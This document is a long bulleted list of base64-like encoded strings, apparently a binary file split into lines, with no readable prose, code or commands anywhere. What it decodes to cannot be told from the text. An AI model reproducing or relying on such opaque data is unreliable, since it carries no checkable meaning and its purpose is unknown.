- 9wce/Kq/9Jf++//t//3fPfi7f+V/+Pv9H3/9n/kH/vf/y9/7n/7f/+2DX/3rUuL8V/yL/8df8t/+/r/q
- 8//jl/6D/9PV//57/IG/7B/8b//E/+2f/jv/wf+o+rf+r1/5f/8jf+D/8OD/bP7c3+MX/7f/4v/+8S/9
- x3////2P/b//y9/jf/iV/8D//l/+Htd//v/1u/+1v8fv9n/+jb+UEvF/4d/zK3///+tv+V//7//rV/5f
- pDT/p3+6+p+//D/v/9///J/7x87+73/2H/xVv+3/8St+///jH/63/+//9er/OvsD/6X/8P/6O/+P3/jj
- //u/+1//x//lD/w/P/v9/8//9A/85/+v6pf/l7/kV/6plNb71X/07/+//5vf//f+7P/u/7j+v//N//P3
- +J9+j1/9q/+W//A//z1+9e/yF/xf53/h//lr/oX/58lv+g/8sr////7V//b/+vf+HkfXf8H/cf+//3P/
- w//sN/3ff8n//R/R4tr/tfwffylR8pf/6r+fjMav+hf/r//gH/yv/s1f9af+X38Dqe7//W//G8mJ/S++
- +3/ewULlf0lO+3/6P/7f419GK7C/9J/8+B/8d//H//lX/9+/9v/9r/yPv/p3/Bv+b4oNf9v/++/+v/+F
- //AP/N//yf/j3/0D//m/8H/+1f/Xn/gP/rL/8R/8lf/t//Xjf+C//Lf+/r/qP6n+99e/3//1z/wuv/oP
- /7+/+N8f/P7/x0/9gf/O//jL/+0/8Jf+il/9f9z/A3/5X3j0f/6Xv/TP/D3+93/x//w/yTf6n3/lr77/
- K3/pP/gf/q//5P/1v/6z/3b1v/5Xv+3/Qd7Df/jLf5f/83f+B/+bP5CS5f/+70/LRX/hP/EP/qr/+395
- +39OSZf+L//2X/i/f/d3+7//+T/zD/xX/sFf/W8ePfrVv/Gf+fv/n2//71/1exBaf/w/Tsuc/8e/8H//
- U3/j//bP/4v/17/3P/6fP/Z//09Ief5vf+D//Ov/n3/r//h//S9/4/9FZuNP/D8/+aX/5Jf/47//q+//
- gv/jH/1d/u8vaKXz//pX/8B/9ff41X/jf0mJov1f9ff/tf/mP/hv/y+////9x/82vymFPLR+/9f/tf8h
- hQ//GaXS/sr/82/4t69+6V/4D/5KSs/93//1r8AK+v/1t/7f//PV//U3/l//ye/y9/3q9f/9v/yd/+D/
- 9T/+1D/4q37H//tP/z3+21/5f/z4H/jv//7r/+nP/T4ld/6DL/+Pf/sP/B9+l1/+y3/TX3X3//qj/sD/
- 4s/8+/73qz/w3/9vaW36v/38H/xnf/8/6//e/vyfpMCJFOp//4//hf/b3f/rV/3f/+z//b9c/d//4//9
- 7/2P/9fd/+tT8tP/z9/x//j7/8H/+Xf5X36P//v46vf/v//M//H/+oP/wv/jl/xff9GD//t/+Lf/wf/9
- e//HX/KP/h7/11+4RYu5/9c/+L//+lcUgP9fv///9s//BbSu/l/93//Tf/9//4q/8PHB//Vv/Iq/8Zd9
- /n+S2/n7/a9/4j9Awvm3/If/x3/we/xvf+P/8cv/96v//d//v3/F//2r/7tf+b/9iZS7/18/pjTer/hN
- f/V/+H/9kWQa/q+/lxL0/+H/8X/843/gP4H8+q/7D/6Hv/8v+RV/7v/xa/+X/+B/UP2y//b/+PX+wH/6
- V979B/73P/Vv/f1/+R/5f/26v8f/+b/9if/Hr/xfj/7vr/7B//AP/MW//N8k20rLY9X/8foPLH/Vf/MX
- /t8/+X/+nb/0v/z1Kc/5y6v/69E/+MvI5Py7v8f/9Df+n/8BRQK//z/3f/8V/+P//csOf9tf///+J/7B
- X/HX/l//8F/4C/7vz//Af+V3oWXi6//7H/7fyGH+8v/+8/7B/+Hv/D9+8f/19/2Dv/D//r3+gcf/2/d/
- 6b/575Na+l2uDn71f/1/E8SP/9bf41f8gf/h3/NL//d/9//8I/7a//BX/pv/99/4B/7r/+P//ev/m//p
- f/of/rJf/fv/gs9+8f/1f/6B+f/1y6/+78/+r//lP/yPv/x7ftlf+H//trQy+A/+7//Vn/ir//j/63/7
- A3/lP/l/UQLon/43fv//8z/6v8nc/aX/4I//39//pb/s9/gv/8fP/p5f9uv/H3/t//0v/Ce//7tf8b/+
- m58c/erP/+9/6D/8v7/7f31FM/e/fu8z0rp//j/4q777f5zS9Pyv/+T/+cf/i//q7/HXk8L+Wy/+73/u
- 9/hl//T/+fv/8j/z//xD/8D/+e7//av/wL+WHJX/87/+D//zX/mrvvy//9i/8H+/93/90//gr/hX/8D/
- 5s/8v5/9gf9E9T//lv8hmfx/+T/8b7/83/7h//IP/OW/x6/8j/Ypv/w//uv/9u9x73//D//vv5KWA6r/
- 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
- 1/8//sR/8J+s/u//4y/8Jb/6z9z+v/7d//D/+Bv/7z//L/g//+X/+1//C2l17ff6VV/+if/X//xP/4P/
- 5y/+P/776g/8t//CX/kfUiTyN/6yv/4f/C//x//rr/+l//rf+H9e7P+B//rv/39//n/8Lv/g//B//4q/
- l3yK/7T6P//1iz/wn/pP/+X/8H/61X/BX/cn/Av/199Oduzd3/u//ZO/9K/9I//AX0lG7x/8z/7FF//3
- X/QPrv/L//gP/Lv+zl/27z7+v//hf/B/+2P/77/jD/zfvvvX/YH/5R9JcvQX/NJf/j+SnP1z//of+H/+
- 7//g//5X/l//+v/6J/7qP/Wv+M/v/lsUif1Df+P/9b/TatX/+Yf/g//z7/9//epf8n/8pv/n//gP/ou/
- x79GObj//P/+n/7C/+v3+QcrygmM/8F/9l/9B/+X35/M53//r/+B/+vv8af/sb////F7/N+/yz/4n/+N
- v/qQ4ux/6Xf5Pz7+v+/9g7/iL/zl/+X/8Uv/6f/wf/5PaU3ol739P/+S/+Lv/D9/5f/9l1Do9b9/9kv/
- xd//V/6D/8ev/r/+1n/2//6vr377//Nf+AP/vf/2D/zPP/47fim59//G1T/7H/43//bd//M//L//7f/7
- f/gL/6/m//rHf4//6lf+6n/y6P/++Bf833/7P/if/IG/6j/77777f/+a//e/93v8qr//P/y//8P/4Hu/
- 9Ff8ncT7//Qf+Hf/77/4f/09/s+/+g/8j//Z3+OXUEr97/y//4x/9B/863/p//JnfvwP/u+/y//2T/5f
- f+3/+e//g//3v/i//bd/4N/7H/4fWNT437/3f/9H/yBN27/7f/8PD37VH/+v/oH/+3/4f/7n/+B/+D82
- //t/SQmR//kv/L8e/AO/+lf80n/8f6eV98/+6+9SIEIr9ORS/Ve/x//2G/7ff/Z/+F/9if/XX0gpov/8
- 6v/4a3/pf/krqv/tDyRL9K/9B7//r7r6B3/V4S/9v4mZfsf/8w/+v/+l3/9//l/+x1+9+L//4H/wP3nw
- q/7FX/qP/of/7b/4q0/+7//y//7f/sH//e/8pf/sH/jf/pu/+s//AynX+fv/H/cpT/Qr/oP/+n/+D/7C
- X/2riId+jx/88j/wl/6vv+rvJyNOaaF//98nV+b//EN/j1/1e/2HSwqB/2syJ//nn0JLSP/m7/d//KJ/
- 8D/7G//3bUr8/x//+P/9b/7+JL9//7/65/+B/+t/dffg//hNf///+8/GCtc/+y/8gf84meT/87f8B//V
- v/Pu//W//dt/4//9K//+X/2P/t9/87/+K3/pP/8H/p//2//8F/5vX/4ff8/v/3/92n/gv/V/f/Z//opf
- +tf8H9Uf+F/+/p/+qun/9R/8Hr+cOv8DiUy/17/7t/6F/8e/8B9S9u3sD/x3/kKKvH7170ELLH/gX/9/
- /2JKV/yWf+A/R0ux//d/8Qf+w//0P/h//ZW/7+//f/4j/+0f+Fe9+1/+W1rK/b//6d//F/+vh//Hb/0H
- /ktX//dv/stIKv/c//sv/zf/7+X/9fH/8Sf8g7/6//q//48/kSLXX/kX/rLv/fe/4P/6C36P//O3JJtL
- btb3/8C3P/hf/8n/8Ff9if/XH/MDWi/8Nf/Af4rSzr/p//GH/9//6O/yK/76//S/+03/nX////7P/8D/
- 6R/83/7A//OKFjf+j3/x//hb/m+yvN/7N//B/4XWIH/lL/0P/+///nf53//rP/C/ffB//rv/15/5D/7K
- f/4vvPxfryDAf+Ev+6/+wP+LAsf/+7+i/ONv+j/Qevn/Pf9f/9v/4Pf43x/8X3/vH/gfUeT2B/7Tv8f/
- +Wd+9qv+2v/x/3pL+cpf9Sf+UuKk//kP/Od+0//rf/sH/6vqF//P1Re/9I+lpMd/9uD/+P7/+kv/8Yvf
- 4//883+P/6n6pWSW/8+//h/8R7/7B/7H//jf+K/+X5f/93//P/7vv+3/Qd734pf+k//J6ujf+X3+/V/1
- +/9ff9n//d//i7/qV//SP/73/z9+l//r7/nX/8Ff9tv+nz/5D/73d2nx6H//v/+rB//br0tz96t+5V/4
- f/5bH/+B//B/+Sv+wT/ps//r3/xdft+/8DMSoX/3L/0Daa33x/+v//73+L9/j//rN/4D/9F/8D/7Az/7
- 3xb/9x/61/6H/8eDL//Af/hf/D/O/kHKt/+1//ef+Jf+h//n4f/9z1T/21/4f7z9B//xv/H//vw//wf/
- t//09/gf/sX/8/f/v/+5//s//ZX/+7/7S//hu//Ar/wf/4/8D/yX/8b/+Vf/n7/eP/hv/5P/93/0j/6B
- v/o//N9/y//y//6X/8b/68//pf/j//h7/G//7v/1p/7f//F3/4/iH/yv/8L/47v/wv/1n/53//xf+8v/
- p//7f/tP/q+KECYLglXiv+Xfr3/1b/qr/8b/60//A//nf/B/+yW/x//5J1Ly5Jf9tZRM+pW/6g//B//5
- //U//Nf/j//5/6bQjlZ3yW7+sr/z//hL/8B/4e6vnv5+//cf+r3P/8F//C/8P/7F//vv+Cv/79eE1m/8
- 5f/9N/4efwXlsP4TWln5uymg+Af/8+r/+C3/wv/rIaXJf/A//7eU1fs/rmiJ+i/+Pf6PX/l//uG/x/96
- 95f8t3/g//2X/t9/7e/xl1LC8R/+p//C//n1f/0f/IG/6uL/+iX/4H/3b/6q//GX/oX/y11KlP41/+H/
- 8Xv8n/d/6d/7+/+yf/FXf0ya4X//Tf+3i9/0/P/+h//Lf/H//nf/1+p//z3+73/sP/zvvvzf7v9f/9f/
- /d/8m//bW8pI/Be/7f+1/lP/7+xX/pn/x//5f/9+/9c/ScP/VdX/+p/+gf/JX/h//urflhaAftV//6v/
- wP/pL/wl//f/8nv8378zSdZ/ScroD/zX/8o/8F/7PX7l53/+//nX/t+/7OIf/D9+f/IWftk/+F/8yl/1
- T/6Dv/K/JGfmv/gHf9Un/+H/8Zv/3//CX/jLP/+//sg/8F/7C/+nP5JU9f/xL/zv//zv8T//l//Xn/MH
- /ot3SZz+/n/wP/09vv8z//PFv1/9X//4H/kH/lf/4K/8Az/9B3/F/00Jyn/8V/5f//Lv8V/+Hr/qe3/g
- r/7vf/8f/K8X//df/Af+M7/ir/xXf4//+t+9+3//6X8gZYZ/9e/4f//Dv8ev/l1+1Z9J2uOX/YkH/9ff
- +kv/yD/wV/ymv+p/+ZVk0f6p//u/vfo/aeXkD/wffvl/9B/+qo9/6Z/7v/yL/9eUIrn/4//+v/7R3///
- yP7Bf/WX/YO/6lf+73/mn/N//xfV/3n1f/17/+Cv+g//t3/yD/xv//6/kob49/8fZB3/b0oH/fLf9u//
- v17/X3/Hv/jL/u9f8R/+B//7d2k58T/5C/+v736Xckvv/nfyFP7v//h3+WW/8v988Af+Xv/LP0ircL/o
- H/ynST5+U8qi/LPkr//v/+P/9Vce/e//7P/1B1Oc8qv+1f/r7//lf+l/SInqv/cPpOT67/F//zv/4H/3
- 5Q/+z9/0//hX/+9/5h+sEUH8Nn/gv/Tf/YeUDv4//sp/8P/+D19SZvYf+QN/9dX/8Xf83//OXzr5X/+7
- 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
